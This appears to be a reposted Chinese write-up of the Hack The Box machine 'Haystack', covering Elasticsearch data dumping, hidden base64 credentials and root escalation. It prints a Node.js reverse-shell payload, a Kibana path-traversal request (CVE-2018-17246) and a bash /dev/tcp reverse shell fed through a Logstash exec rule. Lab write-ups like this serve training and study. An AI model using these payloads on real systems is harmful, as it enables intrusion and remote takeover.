37

Hack the box靶机实战:Haystack

 4 years ago
source link: https://www.freebuf.com/articles/web/219163.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

IFBVjiA.jpg!web

介绍

目标: 10.10.10.115(Linux)

Kali: 10.10.16.61

HayStack 在 HTB 里面的难度评级是简单,但其实它一点都不简单。在一堆西班牙语中找到用户名和密码真的好头痛。 对于 root 权限,你应该对 ELK 有基本的理解。因此,这台机器还是比较新颖的。随带提一句,前段时间出现的 Kibana RCE 漏洞就可以拿来利用。

信息枚举

老规矩,用 nmap 扫一轮:

# Nmap 7.70 scan initiated Sun Jun 30 01:10:53 2019 as: nmap -sT -p- --min-rate 1500 -oN ports 10.10.10.115
Nmap scan report for 10.10.10.115
Host is up (0.27s latency).
Not shown: 65532 filtered ports
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
9200/tcp open  wap-wsp

检测到的服务:

# Nmap 7.70 scan initiated Sun Jun 30 01:13:05 2019 as: nmap -sC -sV -p22,80,9200 -oN services 10.10.10.115
Nmap scan report for 10.10.10.115
Host is up (0.38s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
|   2048 2a:8d:e2:92:8b:14:b6:3f:e4:2f:3a:47:43:23:8b:2b (RSA)
|   256 e7:5a:3a:97:8e:8e:72:87:69:a3:0d:d1:00:bc:1f:09 (ECDSA)
|_  256 01:d2:59:b2:66:0a:97:49:20:5f:1c:84:eb:81:ed:95 (ED25519)
80/tcp   open  http    nginx 1.12.2
|_http-server-header: nginx/1.12.2
|_http-title: Site doesn't have a title (text/html).
9200/tcp open  http    nginx 1.12.2
|_http-server-header: nginx/1.12.2
|_http-title: 502 Bad Gateway

对于端口 80,只发现了一张 needle 图片,就真的只是一个针而已,其实这只是靶机作者的寓意而已(大海捞针)。可以使用 Exiftool 来分析图片,但是什么都没有分析出来。使用 gobuster 来爆破路径,但是一个有用的路径都没有发现。

fYBnqeV.jpg!web

nmap 好像并不能探测 9200 端口。但是如果你熟悉 elasticsearch 的话,你应该非常熟悉这个端口。 Elasticsearch 是最近特别好的非关系型数据库。这里面似乎有很有趣的东西,我们稍后再具体讨论。

vMzaMfe.jpg!web

漏洞利用

在上面,我们已经讨论了相关端口。Elasticsearch 应该是问题的关键。先想办法获取 elasticsearch 中的数据。Elasticsearch 默认一般是没有鉴权的。因此,我们可以想办法获取里面的数据。一开始,我尝试使用 kibana 来分析数据。Kibana 是 ELK 技术栈的一部分之一,对于分析 elastcisearch 的数据很方便,而且支持多种查询条件和语法。使用非常简单,只需要下载 文件 然后解压。在运行 kibana 之前,只需要修改config.yml里面的elasticsearch.url,将其配置为10.10.10.115:9200即可。

访问 kibana,你可以发现存在两个索引:bank以及quotes。索引bank好像是银行用户信息的数据,看起来好像没有有用的信息。对于索引quotes,我们发现里面都是西班牙语的句子。说实话,西班牙语看着都头疼,别说在里面找东西了。Kibana 这样去找的话其实还挺困难的。而且quotes索引里面的文章看起来像是一个文章。所以,最好还是一次性把quotes索引里面所有的数据弄出来。

elasticsearh-dump 可以拿来导出 elasticsearch 中的数据。可以通过npm install elasticdump -g安装工具,接着导出数据:

elasticdump \
  --input=http://production.es.com:9200/quotes \
  --output=quptes.json \
  --type=data

结果是由包含多个键值对的对象数组的 JSON 数据。这里面最重要的就是里面的 quote 属性。直接阅读 JSON 也不是很方面,而且里面 id 的顺序可能很重要。所以,我写了一个脚本可以将里面的 quote 按照 id 排序,并将他们拼接在一起。

import json
result = {}
txt = ""
with open("quotes.json") as f:
  data = f.readlines()
  for ele in data:
    obj = json.loads(ele)
    id = int(obj["_id"])
    result[id] = obj["_source"]["quote"]
  for i in sorted(result.keys()):
    print(i)
    txt = txt + result[i] + "\n\n"
with open("result.md", "w") as f1:
  f1.write(txt)

现在,我们就有了最终结果。阅读起来方便多了,我将这个 文件 放在了 Github。如果你使用 Chrome 打开这个文件,你可直接右键选择翻译,这样我们要找的东西就明显多了。在这篇文章可以找到两个有趣的字符串。

qERR7bv.gif

Tengo que guardar la clave para la maquina: dXNlcjogc2VjdXJpdHkg
Esta clave no se puede perder, la guardo aca: cGFzczogc3BhbmlzaC5pcy5rZXk=

如果将这两句话翻译一下:

我已经保存了这台机器的密码: dXNlcjogc2VjdXJpdHkg
密钥不能丢,我保存在了这里: cGFzczogc3BhbmlzaC5pcy5rZXk=

后面的字符串使用 base64 进行编码,解码之后,我们就可以看到对应的用户名和密码。通过这个用户名和密码就可以 ssh 登录机器了。

iQ7bMjf.jpg!web

说实话,其实我不是很喜欢这台机器的普通用户的部分。不过也正如这台机器关键的一句话:你需要海底捞针。

提权

如果你仔细看一下这台机器,你就会发现这台机器就是使用了 ELK。你可以在机器里面找到 kibana 以及 logstash。如果你谷歌kibana exploit,你可以找到 Github 里面的 CVE-2018-17246 ,里面有详细的利用过程。不过其实通过 kibana 最新的漏洞 CVE-2019-7609 也是可以的。

然而,有个问题是 kibana 的服务只是在本地运行,因为它配置项里面没有配置对外开放。所以你不能直接从外部访问 kibana 服务。可以通过 ssh 重定向网络流量。

ssh 5601:localhost:5601 [email protected]

这样我们就可以通过 localhost:5601 访问 10.10.10.115 机器里面的 kibana 服务了。将漏洞利用代码的 server.js 文件放在目标机器里面的 tmp 目录。

// server.js
(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(1234, "10.10.16.61", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Prevents the Node.js application form crashing
})();

我们可以通过 burp 来实现,记得先设置 nc 监听: nc -lvnp 1234

GET /api/console/api_server?sense_version=@@SENSE_VERSION&apis=../../../../../../.../../../../tmp/server.jssudo -l HTTP/1.1
Host: localhost:5601
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost:5601/app/kibana
content-type: application/json
kbn-version: 6.4.2
origin: http://localhost:5601
Connection: close

稍等一会,现在我们就是 kibana 用户了。

AZJ7RjZ.jpg!web

但是我们还不是 root 用户!不要沮丧,继续弄。如果我们仔细研究一下这台机器里面的 logstash,我们会发现一件有趣的事。我们发现用户组 kibana 拥有 logstash conf.d 文件夹的写权限。

ls -lah
total 52K
drwxr-xr-x.  3 root   root    183 jun 18 22:15 .
drwxr-xr-x. 83 root   root   8,0K jun 24 05:44 ..
drwxrwxr-x.  2 root   kibana   62 jun 24 08:12 conf.d
-rw-r--r--.  1 root   kibana 1,9K nov 28  2018 jvm.options
-rw-r--r--.  1 root   kibana 4,4K sep 26  2018 log4j2.properties
-rw-r--r--.  1 root   kibana  342 sep 26  2018 logstash-sample.conf
-rw-r--r--.  1 root   kibana 8,0K ene 23  2019 logstash.yml
-rw-r--r--.  1 root   kibana 8,0K sep 26  2018 logstash.yml.rpmnew
-rw-r--r--.  1 root   kibana  285 sep 26  2018 pipelines.yml
-rw-------.  1 kibana kibana 1,7K dic 10  2018 startup.option

conf.d 是 logstash 的配置文件夹,一般由3个文件组成。查看一下这个目录,你就会发现有趣的事。在 output.cong 里面存在一个命令执行。如果你对 logstash 有基本的人事,你应该知道这3个文件的作用分别是啥。 input.conf 是用来配置数据源。 filter.conf 是用来处理数据,支持多种插件,非常强大。 output.conf 是用来输出处理后的数据,比如输出到 elasticsearch 或者文件中。我们可以找到 output.conf 里面的 exec

因此利用过程就非常清晰了。在 /opt/kibana/ 文件夹里面创建一个前缀为 logstash_ 的文件。注意确保文件里面的内容可以被 grok 正确的解析,grok 是 logstash 一个通过正则解析数据的插件。然后这个命令就可以成功执行了。这里面最重要的部分就是如何创建可以被正确解析的 comando 内容了。如果你知道如何使用 grok 就非常轻松了。 Grok Debugger 是一个还好用的在线调试 grok 表达式的工具。

7zmUNjB.jpg!web

表达式非常简单。如果你熟悉正则的话,这个表达式很好理解。

filter.conf

filter {
        if [type] == "execute" {
                grok {
                        match => { "message" => "Ejecutar\s*comando\s*:\s+%{GREEDYDATA:comando}" }
                }
        }
}

input.conf

input {
        file {
                path => "/opt/kibana/logstash_*"
                start_position => "beginning"
                sincedb_path => "/dev/null"
                stat_interval => "10 second"
                type => "execute"
                mode => "read"
        }
}

output.conf

output {
        if [type] == "execute" {
                stdout { codec => json }
                exec {
                        command => "%{comando} &"
                }
        }
}

现在,我们已经知道如何创建相应的 comando 里面。下一步就是选择执行命令了。这台机器里面没有 nc。但是机器里面有 python 和 perl。所以反弹 shell 的命令会有一点场。最后选择了反弹命令: bash -i >& /dev/tcp/10.10.16.61/1234 0>&1 。将相应的内容写入到文件中:

echo "Ejecutar  comando: bash -i >& /dev/tcp/10.10.16.61/1234 0>&1" > /opt/kibana/logstash_1.txt

将 nc 设置监听端口 1234,稍等一会,我们就是 root 用户了。

zauY7jm.jpg!web


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK